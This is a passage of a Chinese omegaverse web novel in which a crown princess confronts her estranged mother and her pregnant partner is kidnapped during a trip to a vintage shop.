可他完全想不起,自己在哪里见过这样的人。 镜中的女性理发师正轻声开口:“那您想好,要给您和她的孩子,取什么名字了吗?” 50-60 第51章 我好像……又来那个了…… 简星沉顶着一头新发型回到极光一号飞船时,江意衡正伫在舷窗前,抱着手臂。 他对一旁的陆怀峰竖起手指轻嘘了一声,随后踮着脚尖,蹑手蹑脚地摸到江意衡身后,想要捂住她的眼睛,让她猜猜他是谁。 可他的手才举到江意衡脑后,却被她轻描淡写地戳穿:“你下次想要蒙住别人眼睛之前,记得,先收敛自己的呼吸。” 简星沉沮丧地垂下手,在她背后扁了扁嘴。 他嘟囔着:“玩游戏的要点就是互相配合的默契。你这样,以后还怎么陪小星星玩。” “陪小孩子玩,和陪你玩,能一样吗?” 江意衡转身瞬间,少年已经低下头,假装很忙地理着袖子,还不住地拈起细小碎发。 她微微感到纳闷:“怎么这么多头发?理发师没有帮你打扫干净吗?” “处理了。” 少年一边不厌其烦地从衣领、袖子、臂弯和其他褶皱处摘去碎发,一边解释,“她用吹风机帮我吹过,还用那种很大很密实的干海绵帮我擦过。” “那就怪了。我之前在这家沙龙理发的时候,理发师的手法可是娴熟利落得很。” 江意衡抬手轻掀自己已经过耳的短发,“当时她帮我剪得层次清晰,线条干净,一点也不比王室的理发师逊色。” 她又端起少年的脸,看向他的发型。 层次过渡不够平滑,轮廓缺少清晰的线条感,有些地方打薄得过了头,显得甚至有些稀疏…… 江意衡看着他这头一言难尽的发型,忍不住笑了,“她给你剪成这样,我可得跟店长好好谈谈。” “不好看吗?”简星沉瞬间慌了神。 他退开两步,伸手仔仔细细摸了摸头发,把原本被吹得微微蓬松的柔软发丝几乎搅成鸡窝。 没过十秒,少年就转过身,在指挥台的区域里溜达了一整圈,身上的白色外套随着跑动步伐在身后扬起,好像一只误入室内、扑着翅膀乱窜的小海雀。 江意衡试图拦住他:“你在找什么?” “镜子!” 少年没在舰桥里找到镜子,身影一晃就没入尽头走廊,声音从转角后方传来。 江意衡斜过脸,没好气地嗤了一声。 一个怀着孩子的人,只是为了看个发型,就这么冒冒失失地跑来跑去。 很快,江意衡在她的个人舱里找到了简星沉。 飞船自动驾驶启动的前提下,这间舱是供她专门休息用的。 这可以确保她在抵达目的地前,最快将精神恢复到最佳状态。 平时连陆怀峰都只能守在外面。 至于那些定期为飞船做保养维护的人手,也只有在监控下才能短时间出入。 可简星沉却完全是不请自来。 他站在墙上的落地镜前,对着自己的脑袋看来看去,一会掀起修过的刘海,一会背过身扭头,试图查看发尾。 “我觉得,还好吧。” 他好不容易得出这么一个结论,“比我自己剪的,好多了。我剪的头,在城里不戴帽子根本就没法见人。” 江意衡的身影从背后靠近他。 她双手搭在他的肩上轻轻按了按,靠近他耳廓,故意往他的耳朵里吹气,“回去再找王室的理发师给你修整一下。” 他的神色却黯了黯:“我反正也是自己住,剪得再好看,也没别人看得见。我不修了。” 江意衡以为他只是赌气。 可简星沉是认真的。 他伸手压了压几根翘起的头发,仍在闷闷不乐:“长发姐姐今天是不是心情不好,才帮我剪成这样……” “长发?” 江意衡记得,四个月前她去理发时,为她剪发的理发师分明是一头及肩短发。 “多长的头发?过肩吗?” “可长了,都快到腰了。给我剪发的时候,她特意盘起来了。” 四个月可长不出这么长的头发。 “我还以为是同一个人,原来不是?” 江意衡支着下巴,摇摇头。 她走到门外,对着腕上终端轻声斥道:“陆队长,我让你护送他去理发店,你连理发师是谁都不确认,就这么放任他被剪成狗啃一样?” “殿下,这是误会。起初确实是由您提及的理发师接待简先生的。” 陆怀峰一本正经地解释,“只是他不喜欢洗发的时候被人盯着,我就在店外候着了。” 江意衡无奈地弯起手指轻叩在额头。 身后,少年却拽了拽她的衣角,微垂着脸,眼眸湿润,模样有点可怜。 她几乎以为是刚才小声抱怨发型的话被他听了去。 “现在赶回去找王室理发师补救,还来得及。” “我不是……这个意思。” 简星沉缓缓抬头,手指不自然地拽了拽胸口处的衣襟,似乎是觉得它们贴得有些紧,“我好像……又来那个了。” * 照料怀孕的Omega是一门学问。 无论是物质丰足,情绪安抚,或是肢体接触,无一例外,都是需要投入的方面。 这些,江意衡在先前为了联姻备婚时,曾在资料上都了解过。 但她没想过,照顾孕夫……居然同时还要涉及这种方面。 已经反锁的个人舱中,灯光昏黄黯淡,隐约能看到一对人影相拥着躺在小床上。 江意衡并不喜欢这样黑的环境。 她只能看到舱顶小窗投下的天光,让她觉得自己好像落在了某种井底深处。 可偏偏简星沉说那些射灯太刺眼,让他觉得总好像有无数双眼睛盯着他。 为了不拖延时间,她便照顾着他的心情,把灯光调暗。 黯淡的光点落满天花板,结合飞船内部的投影设备,在上空融成一片星空模样。 她侧身抱着他,手心触着他光滑细腻的脊背,脸却埋在他前方。 她能感到他是如何将小巧的下巴落在她的头顶,缓缓摩挲。 而她也将另一样小巧的东西落入唇舌,缓缓吮着。 说是吮,恐怕并不准确。 因为那些汁水本就已经顺流而下,沾湿他的背心。 她不过是刚好出现在下游,在它们被浪费之前,将营养囫囵吞咽入腹而已。 江意衡感到少年的手指在她脑后徐徐滑动。 他很小心,没有发出太多奇怪的声音,没有因为被汲取而露出失态的模样。 一个习惯了隐忍的人,哪怕在这种时候,也总是强大得惊人。 如果不是因为浸没舌尖的微微腥甜,江意衡几乎要以为,他只是想要抱着她,缓缓抚过她的头发而已。 简星沉的怀抱是温柔缱绻的,带着无法言喻的包容与接纳,只是平静地拥住她,却能让她忘记身后一切。 她想他恐怕是上天特地为她安排的那一具灵魂,连他躯体上的细节,都恰到好处地契合了她前二十四年都未曾察觉的那些刁钻口味。 有时她几乎觉得,自己从母亲身上缺失的那些,自己四岁之后就再也没能得到过的那些,都在他身上重新补足了。 身为Alpha的本能想要将他珍藏在自己的囚笼里。 可是,小小的海雀虽然稚拙,却生来拥有翅膀。 时隔四个月,她一面庆幸自己还拥有这一时片刻的温度,一面却又忍不住开始担心,他最想要的,是这样吗? 过去了一小时,两个人才终于能心平气和地躺在床上。 “这么久。” 江意衡对着腕上终端撇起嘴,“陆队长怕是等得无聊透顶了。” 她枕在少年曲起的双膝上,一只手绕过他的后腰,虽然嘴上抱怨,但并没有打算出去的意思。 “这都要怪你。” 少年正红着脸,把两块可以吸收液体的垫子塞到背心里,这本来是急救箱里闲置已久的老式敷贴。 “那就怪我好了。” 他闷着声,小心放下卷起的背心,伸手在胸前按了按,确保没有东西落下,“我又没说不可以怪我。” “本来就怪你。” 江意衡抬起一只手,指尖不怀好意地在敷贴上戳了戳,“你这儿,还有这儿,都这么喜欢哭,还喜欢同时哭。我可就一张嘴,怎么可能一下子接住。” 简星沉顿住手上的动作。 他几乎是惊恐而讶异地瞪着她。 江意衡挑起一边眉毛,在他的膝枕上微微侧过头来,一副“有什么大惊小怪”的模样。 “我说的不是实话吗?” 她抬起指尖,食指和中指比作小人儿,沿着他的大腿上上下下,“你自己憋不住,又来势汹汹,想怪回我头上,我可不会上当。” 简星沉愣了好久。 “你帮也帮了,喝也喝了,该掐的,也都掐过了。占尽便宜,却还反咬我一口。” 他扁着嘴,作势要往后撤,“我不给你当枕头靠了。” 说着,少年真的在床头转过身,硬是要从床板和江意衡之间退出去,还愤愤不平地嚷嚷:“反正再过几个月,你就没得喝了。” “那还有四五个月呢。” 江意衡也不逼他,索性仰躺回枕头上,两只手枕在脑后,细细品味着口中残余的茉莉奶香,“就算是小星星,这四五个月,也没法和我争。” 她斜过眼,看到少年正不客气地合上衣襟,扣子扣到最上面,立起的衣领遮住脖颈,甚至都快抵上他的脸。 “我以后就算是便宜敷贴,也不便宜你了。” “你最好说到做到。” 江意衡伸手摸了摸他的小腹,“你以后也要记得告诉小星星,你宁愿浪费她的未来口粮,也不愿意便宜她的Alpha母亲。像她这样聪明的孩子,一定不会赞成浪费的,对吗?” 话音刚落,腹中的孩子果然配合地踢了一脚。 感受着传入掌心的轻震,再看少年撅起嘴巴皱着眉的表情,她却觉得惬意至极,不由自主地就闭上眼睛,随便他怎么瞪,都无所谓。 空气平静下来。 少年分明也拿她没办法。 但没过太久,他又轻轻推了推她的肩膀,伏在她耳边小声道:“刚才都忘了提,今天理发的时候,那个长发姐姐,还特别好心地帮小星星取了好几个名,当备选呢。” 江意衡微微偏过头,循向他的声音:“哪几个?说来听听。” 他轻轻唔了一声:“有韵知、以真,还有予棠。” 江意衡摇摇头:“都是帝国流行的女孩名,没什么特别的。” “还有一个,我觉得特别好听的。” 少年兴奋地拍着手,语气却迅速郑重起来,“意如。加上你的姓氏,就是江意如。这是不是很好听?” 江意衡骤然睁开双眼。 “哪个意?哪个如?” 少年噢了一声,旋即道:“是心意的意,始终如一的如。” ……意如。 江意如。 安意如。 仿佛某种徘徊不散的游魂一下子勒住她的脊骨,她从未像现在这一刻,从头到脚仿佛被雷霆击中。 在被父亲接回王宫以前。 在被母亲丢在身后以前。 “意如”这两个字,原本该是她的名字。 第52章 先生是要结婚吗? 一个人对自己的认知并不由姓名框定。 那往往是上一辈人对孩子的期许和愿望。 “意如”是母亲对她的期许。 可父亲并不喜欢这个名字。 所以他剥夺了她四岁之前的名字,把“如”换成“衡”字。 他说,“意衡”听上去,比“意如”更符合王储的气度。 他希望她成为一个有主见、有格局的人。 二十年后,江意衡却没想到,自己会再一次听到,有人念出“意如”这个遥远的名字。 “那个理发师还和你说了什么?” 她没有起身,只是缓缓在昏暗的灯光下眨着眼睛。 简星沉抿着唇,仔细想了想:“她说,城北那儿有家喝茶的地方很不错。她还推荐我,有空的时候可以过去尝尝。” * 一小时后,舰桥中。 陆怀峰正抬高手腕,将光脑终端上的画面转为投影,并逐一切换场景。 “殿下,这是秀丽美发沙龙周围的街区,在过去三小时的监控录影。” 江意衡靠着椅背,目光细细扫过围绕周身的全息投影,试图从中辨认出熟悉的脸。 “理发店的人怎么说?” “今天给简先生理发的人,并不是常驻店员。她只是来临时顶班的一个朋友。” “朋友?” 江意衡的笑声戛然而至。 她的视线停在投影中,一道正在离开理发店的身影上。 及腰长发,拎着做旧的褐色皮手袋。 没走出几步,却忽然回头望去,同时抬手,将一缕发丝捋到耳后。 理发店周围的监控画面并不算十分清晰。 转为投影后,画质更是勉强。 但江意衡清楚地认出,那名女理发师为自己捋过头发的姿态,和母亲从前一模一样。 陆怀峰看出江意衡专注的目光,将画面定格在这一帧,并徐徐放大。 江意衡望着那张近在咫尺、却又陌生的脸。 “是因为已经过了二十年吗?我怎么觉得,我甚至不认识这张脸了。” “殿下。” 陆怀峰迟疑着问,“需要属下帮您锁定她的下落吗?” 江意衡忽然笑了一声。 “不用。” 她的唇角挂上一丝讽刺,“我知道,她在哪儿。” * 位于小镇北部的半山茶馆,平常都没什么客人。 今天,却破天荒地在同一时间,迎来了第二个客人。 “您好,请问您是一个人来吗? 江意衡抬手一指:“我和她一桌。” 她没有接下服务生递来的茶品菜单,径直绕过前台,走到最远的窗边,在二人小桌唯一的空位坐下,还随手放下一台小巧的音频干扰器。 “你来晚了。” 对面的女人没有抬头看她,只是在笔记本上徐徐书写,不时还用笔尖迅速反复划过,像是在更正什么。 “您这日子,好像过得很清闲。” 江意衡抱着手臂,背靠椅背,目光投向窗外。 街边,一位父亲正推着婴儿车,小心翼翼穿过人行道。 而她身后,已经会走路的大女儿牵起母亲的手,还贴心地把一团蓝色棉花糖举高,塞进她的嘴巴。 “E区的生活节奏,当然比不上中心区。没有人会因为过着慢一拍的日子,就觉得丢脸。” 女人盖上笔帽,合起面前的笔记本。 扉页上,却写着“艺术疗愈”几个字。 “这不是心理咨询的流派之一吗?” 江意衡知道,这些咨询师会借助音乐、绘画、舞蹈等等,帮助来访者走出困境,“您不再教人弹钢琴了?” “二十年前就不教了。”女人端起手边花茶,轻抿一口。 二十年前,是母亲离开她的那年。 也是江意衡以为,母亲飞船失事的那年。 “除了给人做心理咨询,您还学了理发的手艺?” “我的手艺,还不错吧?” “隔行如隔山的道理,您应该比我明白。” 江意衡只迅速笑了一下,面色倏然变冷,“您接近他,是因为您不敢直接见我?” “你是这样想的吗?” 女人合握双手,指尖却在笔记本的扉页上轻轻点了点,“我想见见未来孙女的Omega父亲,这都不行?” “他不是您孙女的孕体。他不是任何人的附属品。” 江意衡直视着面前这张陌生的脸,那上面几乎找不出一丝属于母亲的痕迹。 唯有那双眼,与记忆中微妙地重合。 她一字一顿:“他是被我选中的人。我愿意,也只愿意,让他把我的孩子带到世上。” “说得好听,谁不会?几个简单的字,一句轻飘飘的话而已。能实践多少、做到多少,那才是重要的。其余的,当耳旁风听一听就得了。” 江意衡的手在桌下握紧。 “您凭什么给我下这种结论?您了解我吗?您亲眼见过我失信于人吗?您对我和他之间的关系又知道多少?” “E区民间流传着一句话,‘三岁看小,五岁看老。’我不需要了解你成长过程中的每一个细节,但这不表示,我不可以依据我所知道的,对你进行推断。” 女人淡声一笑,目光在江意衡的面容轮廓上细细打量,“有其父必有其女。你长得,和你父亲年轻时,几乎一模一样。” 她似乎是看得入迷了,伸出手,想要触碰这张与江御川相似的脸。 江意衡毫不犹豫地撇开女人的手。 “您很想他吗?” 安青沅收拢指尖,斜过目光,一缕笑意迅速掠过眼底。 “这么多年没见,我还以为,你的脾气会好一点。在教育孩子方面,你父亲,好像并不如我想象中那样尽责。” “尽责?” 江意衡不知现在是该冷笑,还是该讥笑,“如果您没有把我丢下,那我相信,您会比他尽责得多。” 安青沅沉默片刻。 她的眼角重新浮现笑意:“你知道我有苦衷。” “您表达苦衷的方式,对一个四岁的女孩来说,还是太过冷酷了。” 江意衡能感到指尖戳进皮肉,那种微微刺痛,能帮她保持可贵的清醒。 “我曾经以为,您当初突然那样冷淡地对我,是因为父亲逼迫。您不是不想要自己的孩子,只是您无法留我在身边。 “我相信您是有苦衷,才不得不抛下我,把我丢给父亲,让我像一棵伤了根的花苗一样,在那样严酷的环境里,被苛责,被规训。” 江意衡冷哼一声,“我却没想过,您真正的苦衷,是您明明可以再见到我,让我知道您其实没有死在那场意外里。我说得,对吗?” “答案从来不是非黑即白。你在中心区这么多年,这样的道理,应该不用我再复述。” “狡辩。” 江意衡一手将桌面拍响,曲起的五指几乎能在上面刮出痕迹,“我不知道你们为什么都喜欢说模棱两可的话。但我是切切实实地代您问过他。” “问他什么?” “我问他,他对您有没有过半分情意。他说,那些都不重要了。” 有那么一瞬间,江意衡觉得自己才是这个世上最大的笑话,“您瞧,那明明就是他在回避问题。” 她顿了顿,身体在桌边微微前倾一寸。 “他明明就很在意。他在意到要抹除你的所有痕迹,在意到连否认和抗拒都要对我反复强调重申。可我当时居然以为,他是毫不在意。我以为是中心区把他变成了那个样子,为此,我恨他舍弃你。 “我恨他,让我生活在不完整的家庭里。 “我恨他,把那些束缚施加在我的身上。 “可至少,我还能靠着您的音容笑貌坚持下去。我一直都是这么告诉自己的。 “可您又为我做过什么?” 如果有的选,她绝不可能会接受他们的安排。 江意衡起身,满怀着防御,俯视着面前这个曾经熟悉的人。 “到头来,您就这么猝不及防地活着出现在我面前。我才发现,原来我少恨了一个人。 “如果他是罪大恶极,那您至少也是他的帮凶。欺骗我的感觉很好吗?您很享受看到自己的女儿变成他的样子吗?这就是您和他当初的约定吗?” 安青沅抬眼看她,脸上是依稀亲切的笑容。 “意如,你先坐下。” “不要在我面前再喊那个名字。” 江意衡的视线扫过一圈,又缓缓回到安青沅脸上,“拜您所赐,安意如已经死了。现在站在您面前的人,是江意衡,也只有江意衡。我会掌控属于我自己的游戏规则,我不会再让任何人牵绊我。” “你想要恨任何人,我当然没法阻止。即便你是我的女儿,我是你的母亲。” 安青沅甚至还能心平气和地看着自己的女儿。 只是这样波澜不惊的面容,对江意衡而言,就已堪称是可怕的画面。 安青沅轻轻歪过头,像从前安抚她的时候那样。 “如果你要掌控中心区的游戏规则,那你打算让他继续保持地下恋人的身份吗?你想让他和我一样,余生都只能生活在阴影之下吗?” * “我想请问一下,这个,要多少钱?” 简星沉手里捧着一条垂落在地的蕾丝头纱,爱不释手地对着细节端详。 店员拎起头纱一角,翻出一个小巧的挂牌:“先生,这条要两千块。” “两千块?” 简星沉懊恼地摸着脑袋,“二手的不是应该会便宜很多吗?” “一般来说是您说的那样,但这一条不一样。这个是中心区贵族才用得起的大牌,虽然是二手的,但新娘一次也没戴过,状态几乎无暇,两千块都已经是保守标价了。” 店员看他是真心喜欢,顺口问了句,“先生是要结婚吗?” 少年脸上露出一点尴尬。 店员又追加了一句:“如果是因为价格,我可以给您打个八八折。您戴上它,就是全场最引人瞩目的新郎了。” 简星沉端着头纱,低头原地看了很久。 他好不容易才说服陆怀峰,送他来到E区这家古着店。 本以为能淘点便宜好穿的衣服,没想到,一眼就被橱窗里的洁白头纱吸引了注意。 价格高是一方面。 他也确实不知道,自己有什么机会能用上。 “我再想想。” 简星沉谢过店员,捧着头纱,犹豫着要不要把它放回原位时,身后的近卫队长清咳一声。 “您要是很喜欢,殿……她不会反对的。” 陆怀峰抬手,露出指间黑色芯片的一角,“您的支出,反正都是由她承担。” “这样的话……” 简星沉咬了咬唇,眼里浮现笑容,“请等我一下,我先去试试!” E区古着店的试衣间,远不比中心区高定工坊的宽敞大气。 只有一道陈旧的亚麻色布帘,挡住不到一平米的空间。 但简星沉并不是一个会挑剔环境的人。 他摘掉头上用来遮挡发型的帽子,对着微微向后倾斜的试衣镜,用手指把头发用力搓了搓,直到它们呈现出稍微自然一点、略略翘起的状态。 明明试衣间里就他一个人,可他仍是忍不住觉得紧张害羞,甚至没察觉到自己在镜中的脸早已经红透。 他把头纱罩在头顶,小心整理了一番,直到边角垂落脚边。 长度和他的身高很贴,不用额外裁剪。 只是他这一身休闲衣服,怎么也搭不出感觉。 “您觉得怎么样?” 帘子外传来店员的问候声。 “挺好看的。” 他慌忙揭开头纱,生怕一不小心会被撞见。 “您单试头纱,恐怕效果不会太好。” 一套白色婚服从帘子边小心翼翼地被店员递来,“这套Omega婚服也很贵气。您可以穿上,搭配头纱看看整体效果。” 简星沉喜出望外地接过店员的好意,迫不及待地为自己换上。 洁白的丝缎勾勒出少年纤细的身体轮廓,微微隆起的小腹被头纱上的蕾丝刚好掩住,头纱上的细小珍珠沿着他的周身垂落。 微微转动身体时,美得像画一样。 虽然不比之前他试的那件曳地礼服考究,但也足以让少年心绪萌动。 “试好了没?” 冷不防地,帘外有一道陌生的声音催促他。 “已经好了,我马上就出来。” 简星沉记得古着店里就这么一个试衣间,为了不占用别人试衣的机会,忙着要换回自己的衣服。 帘外的人却发出一道古怪笑声。 语气,甚至有些阴阳怪气。 “不用麻烦了,小少爷。您再这么磨蹭下去,老大可是会不高兴的。” 第53章 他可比您店里那些上档次…… 过去十九年,简星沉有过不计其数的外号。 除了姥姥会亲切唤他的“星儿”,其他那些,大多不堪入耳。 小垃圾。 小废物。 小窝囊。 这些难听的话,当然无法概括他。 只不过是因为,他总受欺负而已。 但即便他不想听到这些粗俗的字眼,他也不会因为有人忽然喊他“小少爷”,就忽然高兴起来。 一个习惯了低头生活的人,也早已习惯了把自己放低。 何况,那声音里带着一种莫名危险。 偏偏每个怀孕的Omega,在探知危险方面都是一顶一的高手。 哪怕是经过帝国特种部队全套训练的顶级Alpha,也未必能企及。 “陆队长呢?” 简星沉一手扣在帘边。 比起知道外面的人是谁,他更想知道,那位近卫队长身在何处。 持续五秒钟的沉默。 简星沉能感觉到心跳如捶。 他看到垂落的布帘上,缓缓印出一只手掌的轮廓,而那些张开的五指,仿佛要将他擒入掌中。 紧接着,是那陌生男人令人毛骨悚然的笑。 “这种问题,你问我有什么用。” 他的声音忽然变沉,“你怎么不亲自去问他呢?” * “我好像,没必要回答您的问题。” 江意衡伫在二人茶桌前,一手握起,手指关节抵在桌上,几乎能按下一个坑。 “我怎么处置他,与您没有关系。这是我和他两个人之间的事,我并不打算征求您的意见。” “你总是一意孤行,为你们两个人做决定。” 安青沅轻抿唇角,语声仍然从容,“你要替他做一辈子决定吗?你有没有想过,他也是一个独立的人,也应该被允许拥有独立的意志?” “您现在,是在为他申辩,还是在为您自己伸冤?” 江意衡掀唇轻笑,“丢下我,伪装逝去的假象,躲藏在我注意不到的地方,该不会,都是您独立决定的吧?” 她几乎是短暂地唏嘘了一番。 “不过单从您这里,也无法拼凑出完整的真相,只有让您和当事人对峙才最稳妥。可惜啊,父亲现在已经不可能和您面对面说话了。您现在对我所说的一切,都只不过是您的一面之词。” 安青沅脸上的表情停滞了片刻。 她微微眯起眼眸,试图理解自己女儿的言下之意:“我不明白你的意思。他是不想,还是不能?” 江意衡听到自己没来由地蹦出一声冷笑。 她扶额,肩膀微战,竭力克制继续冷笑的冲动:“我还以为,您至少会有些小道消息。他已经是一个死人了。一个死人,又怎么会反驳您的话?” 安青沅没有再说话。 她只是抬起手指,下意识地咬在指关节处。 在江意衡的记忆中,母亲只很偶尔,会在焦虑的时候,背着她做这个小动作。 每当她好奇地想要知道缘由,却总会被母亲微笑着温声打发。 “别担心,没什么。” 可每一次,都不是母亲所说的那样。 不是因为账单堆积,欠款结不了,母亲只能深夜做钢琴家教的兼职。 就是因为,她在幼儿园出手教训那些骂她没爹的小孩,连累母亲又一次被请去办公室。 那些细碎的片段,从记忆的海域里,像小木片一样被浪卷上来。 有那么一瞬间,江意衡眼前这张陌生的脸,与记忆里那个年轻却总是疲惫的面容,重合了起来。 她抬起指尖,几乎想要像从前那样拉住母亲的衣袖时,腕上终端传来的震动,却忽然令她清醒。 江意衡转身离开茶桌,打量终端上并不熟悉的名字,偏过头问:“你们队长呢?怎么是你?” “殿下,大事不好了!” 对面的近卫队成员像是慌了神,语气近乎爆破般炸响,“有人在平民区的古着店里开枪,陆队长被暗算,简先生也不见了!” * 江意衡见到陆怀峰时,他正挣扎着从急救室的病床上爬起来。 “殿下,简先生那边……” “我已经知道了。” 她说得没什么情绪,唇角却挂着冷意,“他身上,毕竟有我植入的追踪芯片。你的人,已经在帮我定位他了。” 江意衡低头查看腕上终端,上面有两道闪烁的红色光点。 片刻后,她垂下目光,淡然扫过陆怀峰。 据现场残存的录像和证据来看,那一枪,是沿着这位近卫队长的耳廓擦过。 只差毫厘,子弹便能贯穿他的大脑。 只差毫厘,他就没有机会再和她说话了。 “是你带他出去的?” 江意衡抬高视线,语气又多了一分冷淡。 “是。” 陆怀峰回答得干脆利落。 “你应该知道,你现在对我说的每一句话、每一个字,都可以作为呈堂证供,成为我用来给你定罪的依据,对吧?” 江意衡微偏过头,打量陆怀峰时,露出那种审视囚犯一样的神色。 “是。” 陆怀峰依旧没有任何推卸责任的意思。 “你明知E区远离中心区,安防措施不比那里严密,而我也特意嘱咐过你,要严加仔细地看好他。你却在我处理个人事务期间,违抗我的口令,带他出行,将他,也将你和其他平民置于危险。” 江意衡重新俯下视线,像刀锋一样剜过陆怀峰冷峻的轮廓,“为了什么?” 这位近卫队长却没像面对前两个问题那样,马上回答。 明明半张脸都缠着染血的纱布,浑身仍带着硝烟与血腥的气息,陆怀峰却流露出江意衡鲜少在他脸上见到的自责。 “简先生他,是在试衣途中,被人以信息素放倒带走的。对方动用了足以麻痹兽类的合成信息素,出手利落、人员众多,分明是有备而来。试衣间里,只有简先生换下的常服,和他试戴的头纱……” 听到“头纱”那两个字,江意衡原本紧闭的神色,罕见地出现了一丝松动。 “谁让他去古着店试那种东西的?别人不要的玩意,他倒是有心情戴在头上。” “殿下,简先生很清楚,他是什么身份。他不过是想把他最好的样子,呈现在您面前……” “够了。” 江意衡当机立断抬手打断他。 离开陆怀峰的视线范围前,她抛下一句话。 “他的事情,暂时轮不到你操心了。作为我对你的惩罚,这几日,你就给我好好待在医院躺着吧。” * 简星沉睁开双眼时,头顶的阳光穿过叶隙,在他模糊的视线里一晃一晃。 身边堆着几个大小不一的袋子,里面装的也不知是什么,但有类似肥料的浓烈臭味扑面而来。 他试图起身,却感到支撑他的平板猛地一抖,像是他从前骑车在路上被大坑磕到一样,整个人剧烈一晃,差点连五脏六腑都被颠出去。 好在,他没忘记伸手护住自己的肚子。 待到颠簸平息,简星沉才扶着晕晕乎乎的脑袋,撑起半边身体,打量周围。 他似乎是被人丢到了一座卡车车厢里,和一车厢的杂物摆在一起,穿过一片树林。 茂密的枝叶彼此交错,在他身上投下晃动的光斑。 这不像是E区。 来时一路,他透过舷窗看过下方风景。 E区虽然也有树木,但那些树木都稀疏得可怜,提不上枝繁叶茂。 听江意衡说,那甚至已是地区拼命改善绿化的成果了。 而这里的树,显然已经扎根许久,自成一片。 简星沉扒着身边微微掉漆的深蓝色铁护栏,试图向着前路看去,车身的动静却忽然停了。 熄火瞬间,一切都变得安静。 林间飞鸟掠过的声音,像流弹一样穿梭在他忐忑不安的心里。 简星沉并不擅长装死。 但至少他见过真的死人。 在人生地不熟的郊外,逃跑并不会是首选。 他记得,那些偶尔落入贫民窟的小鸟,都会先在猎人面前表演僵硬,再趁其不备,振翅飞离。 而他没有翅膀。 他只能更小心。 他听到车头几个声音私语了一番。 接着,前方车门被人推开又摔上,带动车身一阵轻晃。 其中一道脚步声几乎是圾拉着走过布满沙石的粗糙路面,一只手在车厢护栏外侧用力一拍。 “人在这儿了。价格,您看?” 虽然他的头还很痛,但他不会错认,那声音与他在试衣间听到的,正是同一道。 他的双手交叠挡在腹部,指甲已然戳进指间。 呼吸被克制,心跳却清晰得,仿佛有谁在他的太阳穴边敲着鼓。 隔着合起的眼帘,简星沉隐约感到,从上方落下的阳光,被一道影子遮住。 对方没有出声,只是呼吸平稳,一只手在护栏上轻轻翘了翘,似乎是在观察他的状态。 “喂。” 开口的却是个有点痞气的女声,“我让你给我挑点好的,你就给我送来这种货色?” 这声音无端令他觉得耳熟。 可是,他到底在哪里听过? “这货色怎么不好了?这才不是一般的Omega。” 那男人又用力在护栏上拍了几下,声音震得少年耳膜嗡嗡作响,“这可是大家族出来的顶级Omega,瞧瞧这气质,被这衣服一衬,那可比您店里所有那些,都来得上档次。” 女子顿了一顿。 旋即拍手,笑得大声。 “你们是不是没见过顶级Omega长什么样子?再说了,我跟你们不是有言在先,别总是自作主张去外面捞人,省得不符合我的标准,还得原路给他们送回去。这亏本买卖,你们不嫌累?” 男人好像是真的傻了。 “不可能啊。虽然这小子进店的时候穿得朴素,但我明明看到Sheila身边有带标的保安。他拿去试的那些东西,普通人也压根不会买……” “就算你真的抓住一个豪门出身的顶级Omega,以他现在的资质,早就已经出局了。” “什么意思?今天要是不把拒收理由说清楚,我可没法交差。” “不怪你,混了这么多年,也只是个二把手。这小子肚子里,分明怀着孩子呢。” “啊?” 男人发出不可置信的惊叫。 那动静,一点不比他拍护栏的时候逊色。 简星沉快要装不下去了。 这时,他却听到女子不屑的笑声。 原本沉在脑海中的某个片段,顷刻间随之浮出水面。 “喂。你装睡那么久,也该闹够了吧?” 第54章 逃婚的贵族Omega 二十年前,如果有人提起D区,最先想到的,一定是大片未经开采的茂盛植被。 自然风光,曾是这里响当当的招牌。 而现在,D区却成了“地下风俗产业”的代名词。 大大小小的民营店铺,表面上,与其他旅游景点的餐饮民宿项目毫无区别。 实际上,它们所提供的各种服务,已经严重偏离正常范围。 叶昭年所经营的会所,就是其中之一。 如果不是因为当初缺钱,简星沉根本不可能接触到这种灰色地带。 离开贫民窟之后,他为了攒钱,曾入职一家纺织工厂。 朝九晚九,每月休一天,到手三千多。 厂里环境闷,噪音大,粉尘也重。 每次轮到站班,一天下来,他连腿都弯不了。 要是工作上有一点失误被逮着,还会扣钱。 下了班,他还得跟十几个同事一起挤宿舍。 没法自己做饭,只能吃食堂,或者路边摊。 他那时候日子过得辛苦,回到宿舍还要抽时间看书。 但那是他第一次有了正经的储蓄账户,账上的钱每周都在增加,一点点向着他的目标接近。 他以为,在离开贫民窟之后,自己的人生终于有了盼头。 可在他入职刚满一个月后,那家工厂就因为经营不善倒闭。 他连最后一周的工资都没拿到,就不得不背上行囊,另谋出路。 偏偏那时,有个工友向他提起,自己在D区的老家有人做餐饮服务业,还风生水起。 每个月白花花的一沓钞票拿到手上,一整条街的人都羡慕得不得了。 简星沉虽然不觉得天上有掉馅饼的好事,但实在耐不住月入大几千、乃至上万的诱惑。 在工友撺掇下,他坐上一辆中巴,随其他几个年纪相仿的年轻人一并去了D区。 可到了所谓的餐饮店里,人事却并不关心他有没有同行业的经验,上来就让他试穿一套奇怪的工作服。 那上衣,连他的肚脐都遮不住。 皮裤,更是只能盖到大腿一半的位置。 等他勉为其难地在里面加塞了一条背心,就在人事阴沉沉的注视下,极其不自然地被带到面试的房间。 那儿,大喇喇地坐着一个女Beta,还说自己就是这家店的老板。 叶老板让他学着录像里的姿势,现场跳一段。 那些穿着同款短衣短裤的男Omega们,在屏幕上围着几根钢管扭捏作态。 他平生没接触过这种东西,越看越觉得不对。 可是为了争到工作机会,他还是硬着头皮,学着那几个人的姿势,架起胳膊扭了两下。 简星沉没能跳完那支拙劣的钢管舞。 他只来得及在叶昭年面前扭了两下,接着眼前一黑,什么都不知道了。 醒来的时候,他的一只手被人拴在床头铁栏上。 一个护士模样的人,正端起一份报告,送到旁边的店长面前。 “孕激素超出标准范围五倍?” 叶昭年斜过眼看了看他,“你一个怀孕的人,居然还有胆子来我这儿应聘?虽然我这儿不问出身,但你偷偷溜出来,上风俗店找工的事,你家Alpha知道吗?” “怀孕”那两个字,把简星沉吓傻了。 他嚅着唇,过去一个月的种种反胃、疲惫和不适,似乎终于有了答案。 “我怎么可能……我什么时候……” “这种问题,你问我有什么用?你跟人家躺在一张床上的时候,怎么不问清楚后果?” 叶昭年嫌他是个麻烦,压根没给他再解释的机会,像送瘟神似的,当场叫人把他送走。 那之后,他又辗转几处应聘打工。 碰过一鼻子灰,才在A区靠着低于常人的薪水,争取到两份工作,找了个小房子租下。 简星沉没想过,有朝一日,他居然会再看到,当初把他连夜逐出店门的叶老板。 他鼓起勇气,徐徐睁开双眼。 视线里,叶昭年就那么伫在车边,背光使她脸上的表情难以辨认。 旁边的大汉却已经耐不住了。 